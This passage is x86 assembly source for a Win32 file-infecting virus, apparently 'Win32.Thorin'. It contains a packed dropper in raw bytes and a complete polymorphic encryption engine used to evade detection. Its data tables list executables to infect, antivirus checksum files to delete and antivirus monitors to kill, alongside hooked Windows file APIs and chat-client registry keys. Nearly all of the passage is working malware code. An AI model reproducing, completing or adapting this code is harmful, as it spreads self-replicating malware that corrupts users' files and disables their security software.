06Eh, 020h, 065h, 06Ch db 066h, 00Ah, 00Dh, 020h, 05Bh, 063h, 05Dh, 020h db 041h, 020h, 068h, 06Fh, 062h, 062h, 069h, 074h db 00Ah, 00Dh, 00Ah, 00Dh, 000h, 033h, 02Eh, 020h db 057h, 068h, 061h, 074h, 020h, 069h, 073h, 020h db 074h, 068h, 065h, 020h, 06Eh, 061h, 06Dh, 065h db 020h, 06Fh, 066h, 020h, 074h, 068h, 065h, 020h db 064h, 072h, 061h, 067h, 06Fh, 06Eh, 03Fh, 00Ah db 00Dh, 020h, 05Bh, 061h, 05Dh, 020h, 053h, 063h db 068h, 072h, 094h, 065h, 064h, 065h, 072h, 00Ah db 00Dh, 020h, 05Bh, 062h, 05Dh, 020h, 053h, 06Dh db 061h, 075h, 067h, 00Ah, 00Dh, 020h, 05Bh, 063h db 05Dh, 020h, 053h, 074h, 061h, 06Ch, 069h, 06Eh db 00Ah, 00Dh, 00Ah, 00Dh, 000h p_size equ ($-offset payl0ad) ; =========================================================================== ; Dropper code (packed) ; =========================================================================== dropper label byte db 04Dh, 05Ah, 0F8h, 000h, 001h, 000h, 016h, 000h db 003h, 000h, 004h, 000h, 003h, 000h, 0FFh, 0FFh db 0F0h, 0FFh, 000h, 001h, 000h, 001h, 000h, 003h db 000h, 001h, 0F0h, 0FFh, 040h, 000h, 024h, 000h db 001h, 000h, 002h, 000h, 0E9h, 000h, 002h, 000h db 0E8h, 041h, 000h, 001h, 000h, 046h, 075h, 063h db 06Bh, 020h, 079h, 06Fh, 075h, 020h, 061h, 073h db 073h, 068h, 06Fh, 06Ch, 065h, 021h, 020h, 054h db 068h, 069h, 073h, 020h, 072h, 065h, 071h, 075h db 069h, 072h, 065h, 073h, 020h, 061h, 020h, 057h db 069h, 06Eh, 033h, 032h, 020h, 065h, 06Eh, 076h db 069h, 072h, 06Fh, 06Dh, 065h, 06Eh, 074h, 02Eh db 02Eh, 02Eh, 020h, 020h, 00Dh, 00Ah, 024h, 00Eh db 01Fh, 0B4h, 009h, 0CDh, 021h, 0C3h, 05Ah, 0E8h db 0F5h, 0FFh, 0B4h, 04Ch, 0CDh, 021h, 000h, 071h db 000h, 050h, 045h, 000h, 002h, 000h, 04Ch, 001h db 005h, 000h, 001h, 000h, 0ABh, 026h, 00Ah, 0B4h db 000h, 008h, 000h, 0E0h, 000h, 001h, 000h, 08Eh db 083h, 00Bh, 001h, 002h, 019h, 000h, 001h, 000h db 002h, 000h, 003h, 000h, 004h, 000h, 008h, 000h db 001h, 000h, 003h, 000h, 002h, 000h, 003h, 000h db 003h, 000h, 003h, 000h, 040h, 000h, 003h, 000h db 001h, 000h, 002h, 000h, 002h, 000h, 002h, 000h db 001h, 000h, 007h, 000h, 003h, 000h, 001h, 000h db 00Ah, 000h, 007h, 000h, 006h, 000h, 002h, 000h db 004h, 000h, 006h, 000h, 002h, 000h, 005h, 000h db 001h, 000h, 002h, 000h, 020h, 000h, 004h, 000h db 001h, 000h, 002h, 000h, 010h, 000h, 006h, 000h db 010h, 000h, 00Dh, 000h, 004h, 000h, 001h, 000h db 04Ch, 000h, 01Dh, 000h, 005h, 000h, 001h, 000h db 018h, 000h, 053h, 000h, 043h, 04Fh, 044h, 045h db 000h, 005h, 000h, 010h, 000h, 004h, 000h, 001h db 000h, 002h, 000h, 002h, 000h, 003h, 000h, 006h db 000h, 011h, 000h, 060h, 02Eh, 069h, 063h, 06Fh db 064h, 065h, 000h, 003h, 000h, 010h, 000h, 004h db 000h, 002h, 000h, 002h, 000h, 002h, 000h, 003h db 000h, 008h, 000h, 00Eh, 000h, 020h, 000h, 002h db 000h, 060h, 044h, 041h, 054h, 041h, 000h, 005h db 000h, 010h, 000h, 004h, 000h, 003h, 000h, 006h db 000h, 00Ah, 000h, 00Eh, 000h, 040h, 000h, 002h db 000h, 0C0h, 02Eh, 069h, 064h, 061h, 074h, 061h db 000h, 003h, 000h, 010h, 000h, 004h, 000h, 004h db 000h, 002h, 000h, 002h, 000h, 003h, 000h, 00Ah db 000h, 00Eh, 000h, 040h, 000h, 002h, 000h, 0C0h db 02Eh, 072h, 065h, 06Ch, 06Fh, 063h, 000h, 003h db 000h, 010h, 000h, 004h, 000h, 005h, 000h, 002h db 000h, 002h, 000h, 003h, 000h, 00Ch, 000h, 00Eh db 000h, 040h, 000h, 002h, 000h, 050h, 000h, 040h db 003h, 0FFh, 035h, 008h, 000h, 001h, 000h, 043h db 000h, 001h, 000h, 0E8h, 0F5h, 0FFh, 000h, 0F7h db 001h, 0FFh, 025h, 028h, 000h, 001h, 000h, 044h db 000h, 007h, 002h, 030h, 000h, 001h, 000h, 004h db 000h, 001h, 000h, 028h, 000h, 001h, 000h, 004h db 000h, 015h, 000h, 03Eh, 000h, 001h, 000h, 004h db 000h, 005h, 000h, 04Bh, 045h, 052h, 04Eh, 045h db 04Ch, 033h, 032h, 02Eh, 064h, 06Ch, 06Ch, 000h db 004h, 000h, 045h, 078h, 069h, 074h, 050h, 072h db 06Fh, 063h, 065h, 073h, 073h, 000h, 0B7h, 001h db 001h, 000h, 001h, 000h, 00Ch, 000h, 003h, 000h db 002h, 030h, 000h, 004h, 000h, 002h, 000h, 001h db 000h, 00Ch, 000h, 003h, 000h, 002h, 030h, 000h db 0E2h, 01Eh dropper_size equ ($-offset dropper) ; =========================================================================== ; [THME] - The Hobbit Mutation Engine ; =========================================================================== ; ; ÞÝÞÝÞÝÞÝÞÝÞÝÞÝ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÞÝÞÝÞÝÞÝÞÝÞÝÞÝ ; ÍÛÍÛÍÛÍÛÍÛÍÛÍÛͼ ÛÛß ÛÛÛÛÛÛÛ ÛÛ ÛÛ ÜÛÛÛÛÛÛÜ ÜÛÛÛÛÛÛ ßÛÛ ÈÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍ ; ÞÝÞÝÞÝÞÝÞÝÞÝÞÝ ÛÛ ÞÛÝ ÛÛÜÜÜÛÛ ÛÛ ÛÛ ÛÛ ÛÛÜÜÜÜ ÛÛ ÞÝÞÝÞÝÞÝÞÝÞÝÞÝ ; ÞÝÞÝÞÝÞÝÞÝÞÝÞÝ ÛÛ ÞÛÝ ÛÛßßßÛÛ ÛÛ ÛÛ ÛÛ ÛÛßßßß ÛÛ ÞÝÞÝÞÝÞÝÞÝÞÝÞÝ ; ÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍ» ÛÛÜ ÞÛÝ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ßÛÛÛÛÛÛ ÜÛÛ ÉÍÛÍÛÍÛÍÛÍÛÍÛÍÛÍ ; ÞÝÞÝÞÝÞÝÞÝÞÝÞÝ ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ÞÝÞÝÞÝÞÝÞÝÞÝÞÝ ; ; ; This is a little polymorphic engine dessigned for my Win32.Thorin v1.00 vi- ; rus. It isn't very powerful, as it wasn't dessigned to be an unreachable ; engine, because the virus is enough big without poly, so i didn't wanted it ; to grow too much. It isn't my first poly engine for Win32 enviroments, but ; it is the first one i finished (and the simplest one). It is messy, unopti- ; mized, etc. But let me talk about its features: ; ; ù Non-realistic code (copro used, etc) ; ù Able of use any register (except ESP) as Pointer, Counter, and Delta. ; ù Crypt operations : ADD/SUB/XOR ; ù Garbage generator abilities: ; - CALLs to subroutines (can be recursive) ; - Arithmetic operations REG32/REG32 ; - Arithmetic operations REG32/IMM32 ; - Arithmetic operations EAX32/IMM32 ; - MOV reg32,reg32/imm32 ; - MOV reg16,reg16/imm16 ; - PUSH/Garbage/POP structures ; - Coprocessor opcodes ; - Simple onebyters ; ù Encryptor fixed size, 2048 bytes. ; ; I coded this engine in a record time ;) Pfff, maaaany improvements could be ; made, i know, but i think there will be another versions of the virus, so i ; will try to fix bugs (if any) and improve the junk generation, that is very ; weak, as well as the encryption is. ; ; input: ; ECX = Size of code to encrypt/4 ; ESI = Pointer to the data to encrypt ; EDI = Buffer where the decryptor+encrypted virus body will go ; EBP = Delta Offset ; output: ; ECX = Decryptor size ; ; All the other registers, preserved. ; LIMIT equ 400h ; Decryptor size RECURSION equ 05h ; The recursion level of THME _EAX equ 00000000b ; All these are the numeric _ECX equ 00000001b ; value of all the registers. _EDX equ 00000010b ; Heh, i haven't used here _EBX equ 00000011b ; all this, but... wtf? they _ESP equ 00000100b ; don't waste bytes, and ma- _EBP equ 00000101b ; ke this shit to be more _ESI equ 00000110b ; clear :) _EDI equ 00000111b ; ; [ PUSHAD structure ] PUSHAD_EDI equ 00h PUSHAD_ESI equ 04h PUSHAD_EBP equ 08h PUSHAD_ESP equ 0Ch PUSHAD_EBX equ 10h PUSHAD_EDX equ 14h PUSHAD_ECX equ 18h PUSHAD_EAX equ 1Ch RETURN_ADDRESS equ 04h ; [ THME_CryptOp ] _XOR equ 00000001b ; XOR / XOR \ _ADD equ 00000010b ; ADD / SUB > Base crypt _SUB equ 00000100b ; SUB / ADD / ; mamamamamama weer creezy now... salc equ THME proc pushad call THME_InitVariables ; Initialize poly engine call THME_BunchOfShit ; Garbage! mov eax,sTHME_Decrypt1 ; Get decryptor order in its call r_range ; first part lea esi,[ebp+THME_Decrypt1+eax*4] lodsd add eax,ebp xchg eax,esi mov ecx,3 ; Generate real instruction THME_BuildIt: ; plus some garbage lodsd add eax,ebp push esi ecx call eax call THME_BunchOfShit pop ecx esi loop THME_BuildIt call THME_BunchOfShit ; Generate the last part of call THME_StoreLoop ; the poly call THME_BunchOfShit call THME_GenCryptOperations call THME_BunchOfShit call THME_GenIncPointer call THME_BunchOfShit call THME_GenDecCounter call THME_GenLoop call THME_BunchOfShit mov al,0E9h ; Generate the JMP to the stosb ; decrypted virus code mov eax,LIMIT mov ebx,edi sub ebx,dword ptr [ebp+THME_Pointer] add ebx,04h sub eax,ebx stosd xchg eax,ecx ; Fill with shit the rest THME_FillTheRest: call random stosb loop THME_FillTheRest call THME_CryptData call THME_ClosePoly popad ret db 00h,"[THME v1.00]",00h THME_InitVariables: mov dword ptr [ebp+THME_Pointer],edi ; Save all given data mov dword ptr [ebp+THME_Data2crypt],esi mov dword ptr [ebp+THME_S2C_div4],ecx and byte ptr [ebp+THME_Recursion],00h THME_IV_GetCounter: ; Get a valid register for mov eax,08h ; use as counter call r_range or eax,eax jz THME_IV_GetCounter cmp eax,_ESP jz THME_IV_GetCounter mov byte ptr [ebp+THME_CounterReg],al mov ebx,eax THME_IV_GetPointer: ; Get a valid register for mov eax,08h ; use as a pointer call r_range or eax,eax jz THME_IV_GetPointer cmp eax,_ESP jz THME_IV_GetPointer cmp eax,ebx jz THME_IV_GetPointer mov byte ptr [ebp+THME_PointerReg],al mov ecx,eax THME_IV_GetDelta: ; Get a valid register for mov eax,08h ; use as delta call r_range or eax,eax jz THME_IV_GetDelta cmp eax,_ESP jz THME_IV_GetDelta cmp eax,ebx jz THME_IV_GetDelta cmp eax,ecx jz THME_IV_GetDelta mov byte ptr [ebp+THME_DeltaReg],al call random ; Get math operation for crypt and al,00000111b mov byte ptr [ebp+THME_CryptOp],al mov dword ptr [edi],"EMHT" ; Mark :) ret THME_ClosePoly: ; Return in ECX the size of mov ecx,edi ; the engine (not needed) sub ecx,dword ptr [ebp+THME_Pointer] mov [esp.RETURN_ADDRESS.PUSHAD_ECX],ecx ret ; THME_GETREGISTER ; ; input: ; Nothing. ; output: ; AL = Register unused by the decryptor ; THME_GetRegister: movzx ebx,byte ptr [ebp+THME_CounterReg] movzx ecx,byte ptr [ebp+THME_PointerReg] movzx edx,byte ptr [ebp+THME_DeltaReg] THME_GR_GetIt: mov eax,08h ; Get a register call r_range cmp eax,_ESP ; Mustn't be ESP jz THME_GR_GetIt cmp eax,ebx ; Mustn't be equal to counter jz THME_GR_GetIt cmp eax,ecx ; Mustn't be equal to pointer jz THME_GR_GetIt cmp eax,edx ; Mustn't be equal to delta jz THME_GR_GetIt ret ; Garbage generator (recursion depht = 3) THME_GenGarbage: inc byte ptr [ebp+THME_Recursion] ; Increase recursivity cmp byte ptr [ebp+THME_Recursion],RECURSION ; Over our limit? jae THME_GG_Exit ; Shitz... mov eax,sTHME_GBG_Table ; Select a garbage generator call r_range ; from our table lea ebx,[ebp+THME_GBG_Table] mov eax,[ebx+eax*4] add eax,ebp call eax ; Call it THME_GG_Exit: dec byte ptr [ebp+THME_Recursion] ; Decrease recursion level ret ; Call 6 times to the garbage generator THME_BunchOfShit: mov ecx,0Ch THME_BOS_Loop: push ecx call THME_GenGarbage pop ecx loop THME_BOS_Loop ret ; THME_GBGB_GETVALIDRIB ; ; input: ; Nothing. ; output: ; AL = RegInfoByte that could be used for garbage regxx/regxx ; THME_GBG_GetValidRiB: xor eax,eax call THME_GetRegister ; Get a valid register for be mov ecx,eax ; the target shl eax,3 push eax THME_GBG_GVRiB: mov eax,8 ; Get any register for be used call r_range ; as source cmp eax,ecx jz THME_GBG_GVRiB ; Can't be source=target xchg ebx,eax pop eax add eax,ebx add al,11000000b ; Fix this ret ; --- THME_GBG_Arithmetic_EAX_IMM32: call random and al,00111000b ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP or al,00000101b stosb call random stosd ret THME_GBG_Arithmetic_REG32_REG32: call random and al,00111000b ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP or al,00000011b stosb THME_GBG_A_R32_R32_GR: call THME_GetRegister ; Don't use EAX or al,al jz THME_GBG_A_R32_R32_GR shl eax,3 add al,11000000b push eax call random and al,00000111b xchg ebx,eax pop eax add al,bl stosb ret THME_GBG_Arithmetic_REG32_IMM32: mov al,81h ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP stosb THME_GBG_A_R32_I32_GR: call THME_GetRegister or al,al jz THME_GBG_A_R32_I32_GR push eax call random and al,00111000b add al,11000000b pop ebx add al,bl stosb call random stosd ret THME_GBG_GenOneByter: mov eax,sTHME_OneByters ; NOP/LAHF/INC EAX/DEC EAX/STI/CLD/ call r_range ; CMC/STC/CLC mov al,[ebp+THME_OneByters+eax] stosb ret THME_GBG_GenCopro: cmp byte ptr [ebp+THME_CoproInit],00h ; If first call, put a FINIT jz THME_GC_GenFINIT mov eax,sTHME_OneByters ; If not, put any copro opcode call r_range lea ebx,[ebp+THME_Copro] movzx eax,word ptr [ebx+eax*2] stosw ret THME_GC_GenFINIT: inc byte ptr [ebp+THME_CoproInit] mov ax,0E3DBh ; FINIT stosw ret THME_GBG_MOV_REG16_REG16: mov al,66h ; MOV ?X,?X stosb call THME_GBG_GetValidRiB push eax mov al,08Bh stosb pop eax stosb ret THME_GBG_MOV_REG16_IMM16: mov al,66h ; MOV ?X,???? stosb call THME_GetRegister add al,0B8h stosb call random stosw ret THME_GBG_MOV_REG32_REG32: call THME_GBG_GetValidRiB ; MOV E??,E?? push eax mov al,8Bh stosb pop eax stosb ret THME_GBG_MOV_REG32_IMM32: call THME_GetRegister ; MOV E??,???????? add al,0B8h stosb call random stosd ret THME_GBG_GenPUSHPOP: ; PUSH E?? mov eax,8 ; ... call r_range ; POP E?? add al,50h stosb call THME_GenGarbage call THME_GetRegister add al,58h stosb ret THME_GBG_GenCALL_Type1: ; CALL @@1 mov al,0E8h ; ... stosb ; JMP @@2 xor eax,eax ; ... stosd ; @@1: push edi ; ... call THME_GenGarbage ; RET mov al,0E9h ; ... stosb ; @@2: xor eax,eax ; ... stosd push edi call THME_GenGarbage mov al,0C3h stosb call THME_GenGarbage mov ebx,edi pop edx sub ebx,edx mov [edx-4],ebx pop ecx sub edx,ecx mov [ecx-4],edx ret ; --- THME_CryptData: ; Encrypt given data with proper operation mov esi,dword ptr [ebp+THME_Data2crypt] mov edi,esi mov ecx,dword ptr [ebp+THME_S2C_div4] THME_CD_EncryptLoop: lodsd push ecx call THME_DoCryptOperations pop ecx stosd loop THME_CD_EncryptLoop ret THME_DoCryptOperations: test byte ptr [ebp+THME_CryptOp],_XOR jz THME_DCO_XOR test byte ptr [ebp+THME_CryptOp],_ADD jz THME_DCO_ADD THME_DCO_SUB: add eax,dword ptr [ebp+THME_Key1] jmp THME_DCO_EXIT THME_DCO_ADD: sub eax,dword ptr [ebp+THME_Key1] jmp THME_DCO_EXIT THME_DCO_XOR: xor eax,dword ptr [ebp+THME_Key1] THME_DCO_EXIT: ret ; --- THME_GenDeltaOffset: ; CALL @@1 mov eax,10h ; ... call r_range ; @@1: xchg eax,ebx ; POP E?? mov al,0E8h stosb xor eax,eax stosd mov dword ptr [ebp+THME_GDO_TmpCll],edi call THME_GenGarbage mov ecx,dword ptr [ebp+THME_GDO_TmpCll] mov ebx,edi sub ebx,ecx mov [ecx-4],ebx mov al,58h add al,byte ptr [ebp+THME_DeltaReg] stosb mov ebx,dword ptr [ebp+THME_Pointer] sub ecx,ebx mov dword ptr [ebp+THME_Fix1],ecx ret THME_GenLoadSize: mov eax,2 call r_range xchg eax,ecx jecxz THME_GLS_@@2 THME_GLS_@@1: mov al,68h ; PUSH ???????? ; ... stosb ; POP E?? mov eax,dword ptr [ebp+THME_S2C_div4] stosd call THME_GenGarbage mov al,58h add al,byte ptr [ebp+THME_CounterReg] stosb ret THME_GLS_@@2: movzx eax,byte ptr [ebp+THME_CounterReg] add eax,0B8h ; MOV E??,???????? stosb mov eax,dword ptr [ebp+THME_S2C_div4] stosd ret THME_GenLoadPointer: mov al,8Dh ; LEA E??,[E??+????????] stosb movzx eax,byte ptr [ebp+THME_PointerReg] shl al,3 add al,10000000b add al,byte ptr [ebp+THME_DeltaReg] stosb mov eax,LIMIT sub eax,dword ptr [ebp+THME_Fix1] stosd ret THME_StoreLoop: mov dword ptr [ebp+THME_LoopAddress],edi ret THME_GenCryptOperations: mov al,81h stosb test byte ptr [ebp+THME_CryptOp],_XOR jz THME_GCO_XOR test byte ptr [ebp+THME_CryptOp],_ADD jz THME_GCO_ADD THME_GCO_SUB: mov al,28h ; SUB [E??],???????? jmp THME_GCO_BuildRiB THME_GCO_ADD: xor al,al ; ADD [E??],???????? jmp THME_GCO_BuildRiB THME_GCO_XOR: mov al,30h ; XOR [E??],???????? THME_GCO_BuildRiB: add al,byte ptr [ebp+THME_PointerReg] cmp byte ptr [ebp+THME_PointerReg],_EBP jnz THME_GCO_BR_NoEBP or al,01000000b stosb xor al,al stosb jmp $+3 THME_GCO_BR_NoEBP: stosb call random mov dword ptr [ebp+THME_Key1],eax stosd THME_GCO_EXIT: ret THME_GenIncPointer: mov eax,5 call r_range xchg eax,ecx jecxz THME_GIP_@@2 dec ecx jecxz THME_GIP_@@3 dec ecx jecxz THME_GIP_@@4 dec ecx jnz THME_GIP_@@1 jmp THME_GIP_@@5 THME_GIP_@@1: mov bl,4 ; ADD E??,4 call THME_GIP_AddIt jmp THME_GIP_EXIT THME_GIP_@@2: mov eax,2 call r_range xchg eax,ecx jecxz THME_GIP_@@2_@@2 THME_GIP_@@2_@@1: mov bl,3 ; ADD E??,3 call THME_GIP_AddIt mov bl,1 ; INC E?? call THME_GIP_IncIt jmp THME_GIP_@@2_EXIT THME_GIP_@@2_@@2: mov bl,1 ; INC E?? call THME_GIP_IncIt mov bl,3 call THME_GIP_AddIt ; ADD E??,3 THME_GIP_@@2_EXIT: jmp THME_GIP_EXIT THME_GIP_@@3: mov eax,2 call r_range xchg eax,ecx jecxz THME_GIP_@@3_@@2 THME_GIP_@@3_@@1: mov bl,2 ; ADD E??,2 call THME_GIP_AddIt mov bl,2 ; INC E?? call THME_GIP_IncIt ; INC E?? jmp THME_GIP_@@2_EXIT THME_GIP_@@3_@@2: mov bl,2 ; INC E?? call THME_GIP_IncIt ; INC E?? mov bl,2 ; ADD E??,2 call THME_GIP_AddIt jmp THME_GIP_@@2_EXIT THME_GIP_@@4: mov eax,2 call r_range xchg eax,ecx jecxz THME_GIP_@@4_@@2 THME_GIP_@@4_@@1: mov bl,1 ; ADD E??,1 call THME_GIP_AddIt ; INC E?? mov bl,3 ; INC E?? call THME_GIP_IncIt ; INC E?? jmp THME_GIP_@@2_EXIT THME_GIP_@@4_@@2: mov bl,1 ; INC E?? call THME_GIP_IncIt ; INC E?? mov bl,3 ; INC E?? call THME_GIP_AddIt ; ADD E??,1 jmp THME_GIP_@@2_EXIT THME_GIP_@@5: ; INC E?? mov bl,4 ; INC E?? call THME_GIP_IncIt ; INC E?? ; INC E?? THME_GIP_EXIT: ret THME_GIP_AddIt: mov al,83h stosb mov al,byte ptr [ebp+THME_PointerReg] or al,11000000b stosb mov al,bl stosb ret THME_GIP_IncIt: movzx ecx,bl mov al,40h add al,byte ptr [ebp+THME_PointerReg] THME_GIP_II_Loop: stosb pushad call THME_GenGarbage popad loop THME_GIP_II_Loop ret THME_GenDecCounter: mov eax,3 call r_range xchg eax,ecx jecxz THME_GDC_@@2 dec ecx jecxz THME_GDC_@@3 THME_GDC_@@1: ; SUB E??,1 mov al,83h stosb mov al,byte ptr [ebp+THME_CounterReg] or al,11101000b stosb mov al,1 stosb jmp THME_GDC_EXIT THME_GDC_@@2: mov al,48h ; DEC E?? add al,byte ptr [ebp+THME_CounterReg] stosb jmp THME_GDC_EXIT THME_GDC_@@3: mov al,83h ; ADD E??,-1 stosb mov al,byte ptr [ebp+THME_CounterReg] or al,11000000b stosb mov al,0FFh stosb THME_GDC_EXIT: ret THME_GenLoop: mov ax,850Fh ; JNZ FAR ???????? stosw mov eax,dword ptr [ebp+THME_LoopAddress] sub eax,edi sub eax,00000004h stosd ret THME_OneByters label byte cld cmc clc stc dec eax inc eax lahf nop salc sTHME_OneByters equ ($-THME_OneByters) THME_Copro label byte f2xm1 fabs fadd faddp fchs fnclex fcom fcomp fcompp fcos fdecstp fdiv fdivp fdivr fdivrp ffree fincstp fld1 fldl2t fldl2e fldpi fldln2 fldz fmul fmulp fnclex fnop fpatan fprem fprem1 fptan frndint fscale fsin fsincos fsqrt fst fstp fsub fsubp fsubr fsubrp ftst fucom fucomp fucompp fxam fxtract fyl2x fyl2xp1 sTHME_Copro equ (($-THME_Copro)/2) ; Possibilities before crypt operation THME_Decrypt1 label byte dd offset (THME_Decrypt1a) dd offset (THME_Decrypt1b) dd offset (THME_Decrypt1c) sTHME_Decrypt1 equ (($-THME_Decrypt1)/4) THME_Decrypt1a label byte dd offset (THME_GenDeltaOffset) dd offset (THME_GenLoadSize) dd offset (THME_GenLoadPointer) sTHME_Decrypt1a equ (($-THME_Decrypt1a)/4) THME_Decrypt1b label byte dd offset (THME_GenDeltaOffset) dd offset (THME_GenLoadPointer) dd offset (THME_GenLoadSize) sTHME_Decrypt1b equ (($-THME_Decrypt1b)/4) THME_Decrypt1c label byte dd offset (THME_GenLoadSize) dd offset (THME_GenDeltaOffset) dd offset (THME_GenLoadPointer) sTHME_Decrypt1c equ (($-THME_Decrypt1c)/4) ; Main table (for garbage generation) THME_GBG_Table label byte dd offset (THME_GBG_Arithmetic_EAX_IMM32) dd offset (THME_GBG_Arithmetic_REG32_REG32) dd offset (THME_GBG_Arithmetic_REG32_IMM32) dd offset (THME_GBG_MOV_REG16_REG16) dd offset (THME_GBG_MOV_REG16_IMM16) dd offset (THME_GBG_MOV_REG32_REG32) dd offset (THME_GBG_MOV_REG32_IMM32) dd offset (THME_GBG_GenOneByter) dd offset (THME_GBG_GenCopro) dd offset (THME_GBG_GenPUSHPOP) dd offset (THME_GBG_GenCALL_Type1) sTHME_GBG_Table equ (($-THME_GBG_Table)/4) thme_end label byte THME endp ; =========================================================================== ; Random procedures ; =========================================================================== ; ; RANDOM ; ; input: ; Nothing. ; output: ; EAX = Random number ; random proc ; Thanx MDriller! ;) push ecx mov eax,dword ptr [ebp+rnd_seed1] dec dword ptr [ebp+rnd_seed1] xor eax,dword ptr [ebp+rnd_seed2] mov ecx,eax rol dword ptr [ebp+rnd_seed1],cl add dword ptr [ebp+rnd_seed2],eax adc eax,dword ptr [ebp+rnd_seed2] add eax,ecx ror eax,cl not eax sub eax,3 xor dword ptr [ebp+rnd_seed2],eax xor eax,dword ptr [ebp+rnd_seed3] rol dword ptr [ebp+rnd_seed3],1 sub dword ptr [ebp+rnd_seed3],ecx sbb dword ptr [ebp+rnd_seed3],4 inc dword ptr [ebp+rnd_seed2] pop ecx ret random endp ; R_RANGE ; ; input: ; EAX = Number of possible random numbers ; output: ; EAX = Number between 0 and (EAX-1) r_range proc push ecx push edx mov ecx,eax call random xor edx,edx div ecx mov eax,edx pop edx pop ecx ret r_range endp ; =========================================================================== ; Virus data ; =========================================================================== ; I went to god just to see, and i was looking at me. _MASK db "*." EXTENSION dd 00000000h EXTENSIONS db "EXE",0 ; Nice table: very easy to db "SCR",0 ; add new extensions to infect db "CPL",0 n_EXT equ (($-offset EXTENSIONS)/4) ALL_MASK db "*.*",0 dotdot db "..",0 root db "c:\",0 ; Don't be afraid... :) key_mIRC db "iKX\Thorin\mIRC32",0 key_PIRCH db "iKX\Thorin\Pirch32",0 key_ViRC97 db "iKX\Thorin\ViRC97",0 ; Whoaaaaa... many many many payloads! payload_table label byte dd offset (payload1) dd offset (payload2) dd offset (payload3) dd offset (payload4) dd offset (payload5) payload_number equ (($-offset payload_table)/4) infections dd 00000000h imagebase dd imagebase_ kernel dd kernel_ K32_DLL db "KERNEL32.dll",0 K32_Size equ $-K32_DLL szSHELL32 db "SHELL32",0 szUSER32 db "USER32",0 szADVAPI32 db "ADVAPI32",0 szOPEN db "OPEN",0 szMicro$oft db "http://www.microsoft.com",0 ; Yaaaaaaargh!!! ; @@BadProgramz structure ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; +02h String Size ; +??h First letters (string size) of files we don't want to be infected @@BadProgramz label byte db 02h,"TB" ; ThunderByte? db 02h,"F-" ; F-Prot? db 03h,"NAV" ; Norton Antivirus? db 03h,"AVP" ; AVP? db 03h,"WEB" ; DrWeb? db 03h,"PAV" ; Panda? db 03h,"DRW" ; DrWeb? db 04h,"DSAV" ; Dr Solomon? db 03h,"NOD" ; Nod-Ice? db 06h,"WINICE" ; SoftIce? db 06h,"FORMAT" ; Format? db 05h,"FDISK" ; Fdisk? db 08h,"SCANDSKW" ; ScanDisk? db 06h,"DEFRAG" ; Defrag? db 0BBh @@BadPhilez label byte ; Files to delete in all dirz ANTIVIR_DAT db "ANTI-VIR.DAT",0 CHKLIST_DAT db "CHKLIST.DAT",0 CHKLIST_TAV db "CHKLIST.TAV",0 CHKLIST_MS db "CHKLIST.MS",0 CHKLIST_CPS db "CHKLIST.CPS",0 AVP_CRC db "AVP.CRC",0 IVB_NTZ db "IVB.NTZ",0 SMARTCHK_MS db "SMARTCHK.MS",0 SMARTCHK_CPS db "SMARTCHK.CPS",0 Monitors2Kill label byte db "AVP Monitor",0 db "Amon Antivirus Monitor",0 db 0BBh ; @@Hookz structure ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; +00h API Name ; +??h Bytes from beginning of virus until beginning of hook handler @@Hookz label byte ?szMoveFileA db "MoveFileA",0 ?hnMoveFileA dd (offset HookMoveFileA) ?szCopyFileA db "CopyFileA",0 ?hnCopyFileA dd (offset HookCopyFileA) ?szGetFullPathNameA db "GetFullPathNameA",0 ?hnGetFullPathNameA dd (offset HookGetFullPathNameA) ?szDeleteFileA db "DeleteFileA",0 ?hnDeleteFileA dd (offset HookDeleteFileA) ?szWinExec db "WinExec",0 ?hnWinExec dd (offset HookWinExec) ?szCreateProcessA db "CreateProcessA",0 ?hnCreateProcessA dd (offset HookCreateProcessA) ?szCreateFileA db "CreateFileA",0 ?hnCreateFileA dd (offset HookCreateFileA) ?szGetFileAttributesA db "GetFileAttributesA",0 ?hnGetFileAttributesA dd (offset HookGetFileAttributesA) ?szFindFirstFileA db "FindFirstFileA",0 ?hnFindFirstFileA dd (offset HookFindFirstFileA) ?szFindNextFileA db "FindNextFileA",0 ?hnFindNextFileA dd (offset HookFindNextFileA) ?szHookGetProcAddress db "GetProcAddress",0 ?hnHookGetProcAddress dd (offset HookGetProcAddress) db "" ; How funny ;) @IsDebuggerPresent db "IsDebuggerPresent",0 ; Hrm, i think i should write some compression engine for that API shit :) @@Namez label byte @GetModuleHandleA db "GetModuleHandleA",0 @LoadLibraryA db "LoadLibraryA",0 @FindClose db "FindClose",0 @SetFilePointer db "SetFilePointer",0 @SetFileAttributesA db "SetFileAttributesA",0 @CloseHandle db "CloseHandle",0 @GetCurrentDirectoryA db "GetCurrentDirectoryA",0 @SetCurrentDirectoryA db "SetCurrentDirectoryA",0 @GetWindowsDirectoryA db "GetWindowsDirectoryA",0 @GetSystemDirectoryA db "GetSystemDirectoryA",0 @CreateFileMappingA db "CreateFileMappingA",0 @MapViewOfFile db "MapViewOfFile",0 @UnmapViewOfFile db "UnmapViewOfFile",0 @SetEndOfFile db "SetEndOfFile",0 @WriteFile db "WriteFile",0 @GetTickCount db "GetTickCount",0 @GetVersion db "GetVersion",0 @GlobalAlloc db "GlobalAlloc",0 @GlobalFree db "GlobalFree",0 @GetFileSize db "GetFileSize",0 @SetVolumeLabelA db "SetVolumeLabelA",0 @GetSystemTime db "GetSystemTime",0 @@HookedNamez label byte @MoveFileA db "MoveFileA",0 @CopyFileA db "CopyFileA",0 @GetFullPathNameA db "GetFullPathNameA",0 @DeleteFileA db "DeleteFileA",0 @WinExec db "WinExec",0 @CreateProcessA db "CreateProcessA",0 @CreateFileA db "CreateFileA",0 @GetFileAttributesA db "GetFileAttributesA",0 @FindFirstFileA db "FindFirstFileA",0 @FindNextFileA db "FindNextFileA",0 @GetProcAddress db "GetProcAddress",0 db 0BBh ; I rule! :) 